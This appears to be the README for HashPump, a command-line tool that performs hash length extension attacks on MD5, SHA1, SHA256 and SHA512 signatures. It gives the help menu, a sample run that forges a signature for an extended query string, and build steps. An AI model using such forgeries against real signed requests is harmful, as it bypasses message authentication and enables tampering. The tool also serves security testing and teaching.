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HashPump

A tool to exploit the hash length extension attack in various hashing algorithms

Currently supported algorithms: MD5, SHA1, SHA256, SHA512

Help Menu

./HashPump -h
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
     HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
     -h --help          Display this message.
     -t --test          Run tests to verify each algorithm is operating properly.
     -s --signature     The signature from known message.
     -d --data          The data from the known message.
     -a --additional    The information you would like to add to the known message.
     -k --keylength     The length in bytes of the key being used to sign the original message with.
     Version 1.0 with MD5, SHA1, SHA256 and SHA512 support.
     <Developed by bwall(@botnet_hunter)>

Sample Output

./HashPump -s 6d5f807e23db210bc254a28be2d6759a0f5f5d99 --data count=10\&lat=37.351\&user_id=1\&long=-119.827\&waffle=eggo -a \&waffle=liege -k 14
0e41270260895979317fff3898ab85668953aaa2
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege

Compile

git clone https://github.com/bwall/HashPump.git
apt-get install g++ libssl-dev
make
make install

apt-get and make install require root privileges to run correctly. The actual requirement is for -lcrypto, so depending on your operating system, your dependencies may vary.

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A tool to exploit the hash length extension attack in various hashing algorithms

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